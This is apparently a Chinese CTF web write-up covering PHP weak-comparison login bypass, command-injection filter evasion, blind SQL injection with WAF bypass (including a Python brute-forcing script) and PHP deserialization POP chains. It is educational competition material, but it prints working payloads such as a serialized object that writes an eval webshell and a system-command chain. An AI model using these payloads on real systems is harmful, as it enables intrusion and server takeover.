首页 / 资讯中心 / 文章详情

CTF Web实战:PHP弱类型、SQL注入WAF绕过与反序列化POP链详解

CTF Web实战:PHP弱类型、SQL注入WAF绕过与反序列化POP链详解 ★ FEATURED ARTICLE
2021年那阵子线上实战赛特别多我趁着休息时间挑了几个Web方向的题去打做完以后最大的感受是很多题目考点并不新奇甚至可以说是老面孔但“老面孔”不代表好拿分。真正卡人的地方在于两个——一是限制条件变多了比如WAF规则、PHP版本差异、序列化过滤二是入口变隐蔽了需要先做源码审计或者信息收集才能碰到真正的洞。这篇主要整理我当时遇到的几种Web题型PHP弱类型比较加命令执行、SQL注入配合WAF绕过、以及反序列化POP链构造。为了方便阅读我把赛题名和具体平台隐去只留下技术过程和思路。每一题我都会写清楚判断依据、绕过细节、可复现的脚本片段以及实际踩过的坑。适合正在刷CTF题、准备网络安全竞赛或者做Web渗透测试但想补一补“绕过”思路的同学参考。1. 开题前先分清主次聊聊这批Web题的整体气质Web方向在实战赛里一般是最先被“消耗”的一个方向因为它不像逆向和Pwn那样需要长时间逆向分析很多题目一旦定位到漏洞点剩下的步骤就是机械地构造请求和跑脚本。但恰恰因为上手快选手之间的差距反而不容易拉开拼的就是谁更能沉住气做源码审计谁对PHP、MySQL的各种边角特性更熟。这批Web题给我的第一印象是入口点不算多但每个入口都铺了几层“过滤”。比如登录框可能不是让你爆破的而是让你审计出它的比较逻辑SQL注入点明明存在但常规的union select直接被WAF掐死反序列化一眼就知道要构造对象但正则把标准的O:格式过滤了。这种情况下工具的自动化程度越高反而越容易被卡住因为工具默认走的都是最常见的路径。做题顺序上我一般会先扫目录、看源码、抓登录和查询请求把每个入口可能存在的漏洞点先列出来再按难度从低到高逐个击破。这套打法在这批题上确实省了不少时间通常源码审计题最快拿分注入题中等反序列化题最费时间。如果你也是第一次接触实战赛建议按照“先审计、再注入、后反序列化”的顺序分配时间避免在一道题上耗死。另外还要说一句这类赛题的环境往往是一次性的容器重启以后数据就重置了所以操作要尽量干净利落。像SQL注入这种需要跑大量请求的题脚本里务必加上超时和重试逻辑不然环境一抖动数据就会断在半路白跑半天。2. 一道典型的PHP弱比较题从登录绕过到命令执行先说第一题。这道题表面上是一个登录页面但点进去以后发现源码泄露在备份文件里直接就能看到整套逻辑。很多第一次打CTF的同学会下意识地对这种登录框跑字典其实没有必要——只要拿到源码漏洞位置基本就清楚了。2.1 源码里的两个关键判断源码结构大致是这样的if ($_POST[user] ! admin) { die(no); } $secret get_admin_password(); if (md5($_POST[pass]) md5($secret)) { $_SESSION[is_admin] true; header(Location: admin.php); }这里最显眼的漏洞是md5($_POST[pass]) md5($secret)用了弱比较。PHP的在做字符串比较的时候如果两个字符串都以0e开头并且后面全是数字它会将它们都当作科学计数法表示的0从而判定相等。不过这里是拿用户输入的md5值和服务器端$secret的md5值做比较我们需要找到一个字符串它的md5值恰好是0e开头并全数字也就是常见的“魔法哈希”。网上公开的0e开头字符串很多比如s878926199a、s155964671a这一类。但如果只是想拿这个题的分还有个更省事的办法直接把pass参数提交成数组。PHP里md5(array)在7.4及以下版本会返回NULL同时报一个警告但代码不会停两边都是NULLNULL NULL就成立了。所以直接抓包改成POST /login.php HTTP/1.1 useradminpass[]1实测一下直接就登录成功了。这就是弱比较加数组绕过最典型的组合。如果你在本地复现发现不生效先检查一下PHP版本是不是8.0以上因为PHP 8里md5(array)会直接抛TypeError不会再返回NULL。2.2 登录之后才是真正的主菜登录进去以后是一个文件管理页面功能很简单可以查看日志。我抓包发现log.php后面跟了个cmd参数服务端代码大概长这样$cmd $_GET[cmd]; $cmd str_replace(array(cat, flag, , /), , $cmd); system($cmd);它把cat、flag、空格、斜杠都过滤了而且是单向过滤一次。这种过滤看起来像开玩笑但很多人就是在这里被卡住因为无论如何写出来的命令里总会带着空格或者flag字样。其实常见思路有两种一是用${IFS}代替空格。Bash里IFS是内部字段分隔符默认包含空格所以cat${IFS}/flag能直接展开成cat /flag。二是用通配符和命令拼接绕关键字过滤。比如flag被过滤那就写成fla*cat被过滤就换tac或者利用过滤只执行一次的特性输入cacat过滤后变成cat。最终我用的payload是tac${IFS}fla*因为tac是反着输出文件内容读flag文件一样没问题。$9在部分题目里也能用比如cat$9$IFS$9flag$9在shell里是空变量主要用来把命令和参数隔开。这题最后的flag是通过tac${IFS}fla*拿到的整个过程不涉及爆破也没有复杂工具核心就是对PHP弱类型和Bash特性的理解。2.3 这题值得记下来的细节这题有几个点我觉得比题目本身更重要。第一看到登录页面不要急着爆破先花两分钟看源码、看备份文件、看注释往往能直接看到数据库配置、隐藏接口和过滤逻辑。第二md5、sha1这类函数在数组参数下返回NULL本质上是PHP历史版本的类型处理缺陷但在2021年的赛题里仍然能用。第三命令执行题里空格过滤优先试${IFS}如果连IFS都过滤了再考虑十六进制编码或者$IFS$9这种写法。这题对我最大的启发是不要把每一层过滤看成独立的坑它们组合在一起的时候绕法往往是交叉的。比如很多人在第一步登录绕不过去就完全没想到后面还有命令执行其实源码审计题通常不止一个漏洞拿到源码后建议把每个入口都过一遍形成完整的利用链。3. 注入题的新常态WAF过滤与手工盲注脚本第二题是SQL注入但拿到题以后我只高兴了三秒钟——注入点确实存在而且是个很经典的字符型注入不过随便试了下 and 11就直接被拦了。3.1 判断过滤规则我先用最简单的报错方式试探?id1返回了数据库语法错误说明参数确实拼接进了SQL语句。但接着构造?id1 and 11#页面直接跳到了一个警告页。用Burp对比响应后确定这是一层WAF不是应用层过滤。接下来就是掰着手指头试哪些字符被过滤。我这里的实际情况是关键字/符号是否被过滤绕过方式and是、内联注释/*!50000and*/or是select是双写seselectlect、内联注释是like、in、空格是/**/、%09、%0ainformation_schema是换用mysql.innodb_table_stats或者sys库WAF的过滤一般不会把所有写法都堵死因为它本质上是根据规则匹配文本只要每一条规则单独都能绕过组合起来的payload也就能跑通。比如等号被过滤以后判断字符就不用ascii(substr(...)) 100而是用ascii(mid(...)) 99这种比较因为大于号被放行了。3.2 手工盲注脚本怎么写确认是布尔盲注以后我先把sqlmap跑了一遍加了--tamperbetween,space2comment这类绕过脚本结果跑了一会儿就被WAF以“请求频率过高”给封了。这就是sqlmap在实际比赛里的尴尬之处它功能是强大但在限速加过滤的双重夹击下不如自己写脚本可控。我的脚本思路很简单每次构造一个条件如果页面返回“正常”就认为条件为真否则为假。比如要猜数据库名第一个字符就可以先判断ascii(mid(database(),1,1))是否大于某个值然后二分逼近直到确认具体字符。下面是我本地测试时用的精简版本注释里写了主要逻辑import requests base_url http://target/query.php def oracle(expr): # 用 and if 构造布尔条件注入点在 id 参数后 payload f1 and if({expr},1,0)# # 空格换成注释避免被 WAF 拦 payload payload.replace( , /**/) r requests.get(base_url, params{id: payload}, timeout5) return 正常页面特征 in r.text def get_char(expr, pos): left, right 32, 126 while left right: mid (left right) // 2 # 如果字符 ascii 值大于 mid说明目标在右半区 if oracle(fascii(mid({expr},{pos},1)){mid}): left mid 1 else: right mid return chr(left) # 逐个字符读取数据库名 for i in range(1, 30): ch get_char(database(), i) print(ch, end, flushTrue) if ch \x00: break如果你的目标环境里连也被过滤了可以把条件改成between {mid1} and 126原理是一样的。遇到and被过滤的情况改成同时注意在URL里要写成%26%26不然会被当成参数分隔符那才是真正的坑。3.3 拿表名和字段名时的特殊处理布尔盲注最费时间的环节是拿表名和字段名因为常规思路是查information_schema.tables和information_schema.columns。但这道题的WAF直接把information_schema这几个字给过滤了而且双写不一定能绕过因为它在过滤前可能先做了去重合并。我的做法是换库。MySQL在5.7以上版本里有sys库很多视图里直接包含表名和字段信息比如sys.schema_auto_increment_columns sys.x$schema_table_statistics_with_buffer sys.x$schema_tables这些表经常被忽略但结构简单、查询方便能绕过大多数针对information_schema的过滤。如果你打的库是MySQL 5.6及以下没有sys库那就试试mysql.innodb_table_stats里面也有database_name和table_name。拿到数据库名和表名以后剩下的就是重复盲注脚本把字段名和字段内容一个个拖出来。这个过程没什么技巧纯属体力活所以我一般会把二分法写好确认每个字符只需最多7次请求比线性逐个字符猜要省一大半时间。3.4 这题容易忽略的点这题的坑在于直接对id参数做注入虽然存在但所有请求都会被记录到WAF日志一旦短时间内请求次数过多IP会被临时封掉。所以脚本里一定要设置合理的延时比如每次请求之间sleep(0.3)不要追求极致速度。另外注意有些赛题会把真实注入点放在HTTP头里比如X-Forwarded-For、User-Agent参数位置的注入可能只是个诱饵。拿到题先看后端代码如果没有源码就要用更多时间去测试不同的注入载体。4. 反序列化题POP链与过滤绕过的组合场第三题是我花时间最多的一道也是我认为这类题目里比较有代表性的一类入口是cookie里的一段base64字符串后端直接unserialize()但反序列化之前又有一层正则过滤导致常规payload全部失灵。4.1 从入口定位到反序列化先看代码逻辑。大概是这样的class Logger { public $filename; public $data; public function __destruct() { file_put_contents($this-filename, $this-data); } } $cookie $_COOKIE[user]; if (isset($cookie)) { $data base64_decode($cookie); $data str_replace(O:, o:, $data); // 弱过滤示例 unserialize($data); }这里有个很典型的Logger类析构函数会把data内容写入filename指定的文件。只要我们能控制反序列化对象就可以用它写一个PHP文件然后连上WebShell拿到flag。目标明确难点在于str_replace这种过滤并不算严格的“安全防护”但如果你不了解它连最基本的序列化字符串都会写错。正常生成一个Logger对象的序列化字符串是这样O:6:Logger:2:{s:8:filename;s:15:shell_xxxx.php;s:4:data;s:27:?php eval($_POST[1]);?;}把这个字符串base64编码后放进cookie脚本执行到unserialize()时就会构造Logger对象脚本结束或变量被销毁时自动调用__destruct()把一句话木马写入服务器然后通过WebShell管理器连上去flag自然就在手边了。整个过程不是靠猜而是靠源码审计确定的所以在动手构造payload之前建议先把所有代码里出现的类都列出来看它们的魔术方法分别能干什么。4.2 过滤正则怎么绕上面代码里的str_replace(O:, o:, ...)只是示意真实赛题里更常见的过滤是if (preg_match(/O:\d/i, $_COOKIE[user])) { die(no); }这个正则一看就是针对标准序列化格式来的。PHP序列化对象的标准格式是O:6:Logger:2:{...}系统提示O:后面跟的类名长度是数字。当我们把O:后面写成6也就是O:6:Logger时PHP反序列化依然能正常解析但正则O:\d匹配不到因为O:后面紧跟着的是而不是数字。于是payload改成了O:6:Logger:2:{s:8:filename;s:15:shell_xxxx.php;s:4:data;s:27:?php eval($_POST[1]);?;}然后base64编码放进cookie。这里有个特别容易踩坑的细节base64编码后的字符串里如果包含放在Cookie里没问题但如果通过GET参数传递会被解码成空格导致后端解析出来的base64字符串完全是坏的。所以如果题目要你把payload放在URL参数里记得先urlencode或者在编码后把替换成%2B。4.3 从单对象到对象链实际赛题往往不止一个类单靠Logger不一定能够直接拿到Shell。常见的情况是一个类在析构时会调用另一个类的方法另一个类又通过魔术方法触发命令执行。这种结构就是POP链和栈溢出里的ROP链是一个思路。举个例子class A { public $obj; public function __destruct() { echo $this-obj; } } class B { public $cmd; public function __toString() { system($this-cmd); return ; } }当A对象被析构时echo $this-obj会触发__toString()。如果obj属性被我们设置为一个B对象那么就会调用B::__toString()进而执行system($cmd)。构造的序列化字符串就是嵌套对象O:1:A:1:{s:3:obj;O:1:B:1:{s:3:cmd;s:6:whoami;}}实际赛题里链可能长得多中间要经过数组、成员属性赋值、方法调用等多个环节。构造这类链时我建议先在本地搭一个和远程PHP版本一致的环境把源码丢进去跑一遍确认__destruct()、__wakeup()、__toString()这些魔术方法之间的调用顺序再考虑绕过过滤。4.4 反序列化题三个高频坑第一个坑是__wakeup绕过。PHP反序列化时如果对象属性数量和实际传入的属性数量不一致__wakeup()可能被跳过这在老版本里是一个经典的绕过手段。但PHP 7.4以后这个漏洞已经被修复如果你在本地开着PHP 8.0去复现老题目这条路是走不通的需要换思路。第二个坑是访问修饰符。序列化字符串里public、protected、private属性的表示方式不一样protected属性名前后会有\0*\0private属性名前后会有\0类名\0。很多人手动写payload的时候不小心把可见性写错反序列化出来的对象属性就是空的。第三个坑是环境差异。远程是PHP 7.3本地是PHP 8.1的情况下同一个反序列化payload可能一个能触发一个直接报错。尤其是自定义类没有__wakeup还好一旦有__wakeup涉及类型判断版本差异会立刻暴露。所以做题之前先想办法看版本信息比如报错页、响应头、默认文件名或者直接在本地用Docker起一个对应版本的镜像来跑。5. 工具搭配与排查记录一场实战赛的Web题打下来光靠单一工具肯定不够。我习惯的做法是Burp Suite负责抓包和手动改包Python脚本负责批量盲注和特殊payload生成sqlmap在WAF不严的时候用来快速验证注入点类型但真正拿数据还是靠手写脚本。5.1 我常用的工具组合场景常用工具说明抓包改包Burp Suite看响应差异、重放请求、改Cookie参数快速验证注入sqlmap加--tamper试探但只用来确认不用来拖数据目录扫描各类目录扫描工具找备份文件、隐藏路径盲注/序列化payloadPython脚本二分法字符猜测、批量生成payload本地复现Docker镜像安装对应PHP/MySQL版本快速跑源码很多人会觉得有Burp和sqlmap就够了但实战赛里手工脚本才是真正能拉开效率的东西。比如盲注题sqlmap一旦被WAF限速速度会慢到让人怀疑人生而自己写的二分脚本可以在控制频率的前提下稳定跑完。又比如反序列化题payload生成器写出来以后中途调整任何参数都只是改一行代码的事。5.2 三个典型的排查过程第一个案例是本地payload跑得好好的远程就是不回显。查了半天发现是PHP版本差异。本地用的是PHP 8.0远程是PHP 7.3两个版本对数组参数的处理完全不一样md5(array)在8.0直接报错导致登录绕过失败。解决办法是起一个和远程一致的Docker容器把源码丢进去重新验证。第二个案例是盲注脚本跑了一半突然全是“正常”数据明显错了。查了日志发现是WAF封了IP几分钟所有后续请求都返回了同一个静态页面而脚本恰好判断这个静态页面为“真”。解决办法是在脚本里加一个请求频控每两次请求之间睡0.3秒以上同时增加重试机制如果连续三次请求返回内容完全一致就暂停脚本并检查是不是被封了。第三个案例是反序列化payload长度和格式都对但最终没有写入文件。排查后发现是PHP对类属性个数敏感原始payload里声明了两个属性但其中一个属性因为可见性写错反序列化后没有被正确赋值导致写入的文件名是NULL。解决办法很简单把所有属性都改成public避开可见性特殊字符的问题。5.3 故障速查表现象可能原因快速处理本地成功远程失败PHP版本不一致查版本起对应Docker环境盲注数据错乱WAF封IP或限速加延时和重试检查响应特征payload无法执行类名、属性名、可见性写错先本地echo序列化结果再手工比对cookie解析失败编码后号被当成空格URL编码后再提交sqlmap被拦截WAF对请求频率敏感手写脚本减少请求量找不到表名information_schema被过滤换sys库或mysql.innodb_table_stats命令执行无回显system被过滤换passthru、shell_exec、反引号这张表是我每次打完一场Web实战赛都会顺手更新的很多问题在不同题目里反复出现排查思路其实是通用的。6. 最后多说两句这几道题本身都不算难真正有价值的是把“绕过”的思维练出来。我见过很多同学一看到WAF就懵觉得所有路径都被堵死了也见过有人拿到源码以后只盯着一个点看完全没发现其他可以利用的入口。其实CTF Web题和真实渗透测试有一个共通的地方入口多、限制多但很少有真正无解的配置。大多数防护都只是过滤了某个常见写法只要对语言底层特性和协议细节有足够了解总能找到绕过去的路。我个人的体会是看题解和自己动手打完全是两码事。看完一篇writeup觉得自己什么都懂了但关掉页面再过几天让你从头打一遍往往会卡在某个细节上。最好的验证方式就是每看一个题都把payload复制下来在本地环境里重新打一遍理解每一步为什么这么构造。尤其是PHP反序列化和WAF绕过这类题目本地复现成功一次比看十篇文档都管用。最后再分享一个小技巧如果一道题你卡了超过四十分钟大概率不是思路问题而是某个细节被忽略了——可能是PHP版本可能是过滤规则可能是编码方式。这时候不要继续死磕把请求从Burp里拿出来重新看一遍原始响应或者用二分法逐个排查过滤条件往往能很快发现真相。
阅读完成 · 觉得有帮助?
咨询建站